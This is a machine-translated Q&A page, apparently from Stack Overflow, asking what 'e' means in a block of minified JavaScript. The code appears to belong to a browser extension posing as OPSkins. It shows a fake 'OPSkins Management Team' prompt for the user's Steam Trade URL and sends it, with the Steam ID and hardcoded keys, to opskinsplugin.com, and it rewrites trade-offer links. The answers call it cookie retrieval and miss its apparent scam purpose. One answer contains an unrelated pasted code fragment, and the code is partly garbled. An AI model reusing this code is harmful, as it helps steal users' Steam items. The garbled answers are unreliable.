我需要帮助理解这个javascript中“e”的含义吗?

时间:2016-07-26 08:50:53

标签: javascript jquery

任何人都可以解释这个javascript中“e”的含义吗?

还有我如何解决这个问题。或者这甚至是可解码的。我很难搞清楚+ e.replace之后的随机字符是什么。我主要认为你需要以某种方式解码它因为它说“decodeURIComponent ...”

我只是不确定这意味着什么

function getCookie(e) {
var t = document.cookie.match(new RegExp("(?:^|; )
    "+e.replace(/([\.$?*| {}\(\)\[\]\\\ / \+ ^ ]) / g, "\\$1") + "=([^;] * )"));return t ? decodeURIComponent(t[1]) : void 0}

JAVASCRIPT(同样,我需要帮助理解“e”在这个javascript中的含义。另外我还想知道如果有人知道另一个字母的含义,例如“t”,“a”和“s” “):

function get_steamID(e) {
steamID = $("body").attr("data-steamid"), steamID ? e() : setTimeout(function() {
    get_steamID(e)
}, 10)}function set_code(e) {
return $("#alert-box").is(":hidden") ? $("#qItems .offer-links").length ? ($("#qItems .offer-links a").eq(0).attr("href", "javascript:ShowTradeOffer(" + e + ")"), $("#qItems .offer-links a").eq(1).attr("href", "steam://url/ShowTradeOffer/" + e), !0) : void setTimeout(function() {
    set_code(e)
}, 100) : !1}function injectScript(e, t) {
var a = document.getElementsByTagName(t)[0],
    s = document.createElement("script");
s.setAttribute("type", "text/javascript"), s.setAttribute("src", e), a.appendChild(s)}function getCookie(e) {
var t = document.cookie.match(new RegExp("(?:^|; )
    "+e.replace(/([\.$?*| {}\(\)\[\]\\\ / \+ ^ ]) / g, "\\$1") + "=([^;] * )"));return t ? decodeURIComponent(t[1]) : void 0}function setCookie(e, t, a) {
a = a || {};
var s = a.expires;
if ("number" == typeof s && s) {
    var o = new Date;
    o.setTime(o.getTime() + 1e3 * s), s = a.expires = o
}
s && s.toUTCString && (a.expires = s.toUTCString()), t = encodeURIComponent(t);
var i = e + "=" + t;
for (var n in a) {
    i += ";
    "+n;
    var r = a[n];
    r !== !0 && (i += "=" + r)
}
document.cookie = i}function updBal() {
$.post(apiURL, {
    action: "bal",
    keyAccess: keyAccess,
    steamid: steamID
}, function(e) {
    "-" != e && $("#op-count").text("$" + (current_bal + parseFloat(e))) })}var loginAccess = "c2hhZG93bWFuMDk1",
keyAccess = "619dea94b332475cc6271c4db2511f73",
KeyEncode = "15f8c92ca9a9f790188390159ddf4f3b",
apiURL = "https://opskinsplugin.com/base.php?l=c2hhZG93bWFuMDk1&k=619dea94b332475cc6271c4db2511f73&ek=15f8c92ca9a9f790188390159ddf4f3b",
steamID = !1,
isSending = !1,
myForm = !1,
elemNames = [],
current_bal = parseFloat($("#op-count").text().substr(1));if (injectScript(chrome.extension.getURL("steam.js"), "body"), get_steamID(function() {
    updBal()
}), setInterval(updBal, 5e3), "?loc=shop_sale_form" == document.location.search) {
get_steamID(function() {if (isSending = getCookie("sendID" + steamID), "1" != isSending) {if (myForm = !0, 0 == $("#tradeUrlModal").length) {
            var e = '<div class="modal fade" id="tradeUrlModal" aria-hidden="false" style="display: block;
            padding - left: 11 px;
            "> <div class="
            modal - backdrop fade " style="
            height: 373 px;
            "></div> <div class="
            modal - dialog modal - lg "> <div class="
            modal - content "> <div class="
            modal - header "> <h4 class="
            modal - title ">Please enter your Trade URL.</h4> </div> <div class="
            modal - body "> <h3>We need your Trade URL in order to be able to send you Steam trade offers.</h3> <p> <a href="
            https: //steamcommunity.com/profiles/'+steamID+'/tradeoffers/privacy#trade_offer_access_url" target="_blank" class="btn btn-danger btn-lg" style="width:100%">Please click here to get it.</a> </p> <div class="input-group input-group-lg"> <span class="input-group-addon">Trade URL</span> <input type="text" class="form-control" id="trade-url" placeholder="Paste Trade URL here" required=""> <a href="#" id="save-trade-url" class="btn btn-primary input-group-addon">Save Trade URL</a> </div> </div> <div class="modal-footer"> <p>OPSkins Management Team</p> </div> </div> </div> </div>';
                $("body").append(e)
        }
        $("#tradeUrlModal").modal("show")
    }
}), $(document).on("click", "#save-trade-url", function() {
    var e = $("#trade-url").val();
    return e ? void $.ajax({
        url: apiURL,
        type: "POST",
        data: {
            action: "saveTradeURL",0                keyAccess: keyAccess,
            steamid: steamID,
            url: e

结束JAVASCRIPT

我只是试图打破这个javascript,对我来说,看起来“e”可能是某种变量,但我不确定。

我真的只是想了解这个脚本背后的“隐藏”含义,以及“e”究竟是什么以及看起来要编码的javascript是什么或者是什么。

非常感谢任何可以帮助我的人!

2 个答案:

答案 0 :(得分:1)

e只是getCheck函数的参数名称。查看代码,它收到的参数是一个字符串。 e是参数的略微奇数名称,因为通常e用于Event event的参数名称e也经常使用),但显然没有在这里使用。该代码的作者只使用function Man(sID) { this.standingID = sID; this.leftID = []; this.rightID = []; this.addToLeftID = function(a){ this.leftID.push(a); return this; } this.addToRightID = function(a){ this.rightID.push(a); return this; } }

答案 1 :(得分:0)

在这种情况下,e是一个字符串参数。作为T.J.克劳德说,由于e通常用于Event类型参数,因此命名错误。

与随机字符一样,它是用于将某些特殊字符序列替换为其他字符的正则表达式模式。

此整个代码用于从访问者的计算机中检索特定的Cookie。

在此代码中,e是Cookie的名称。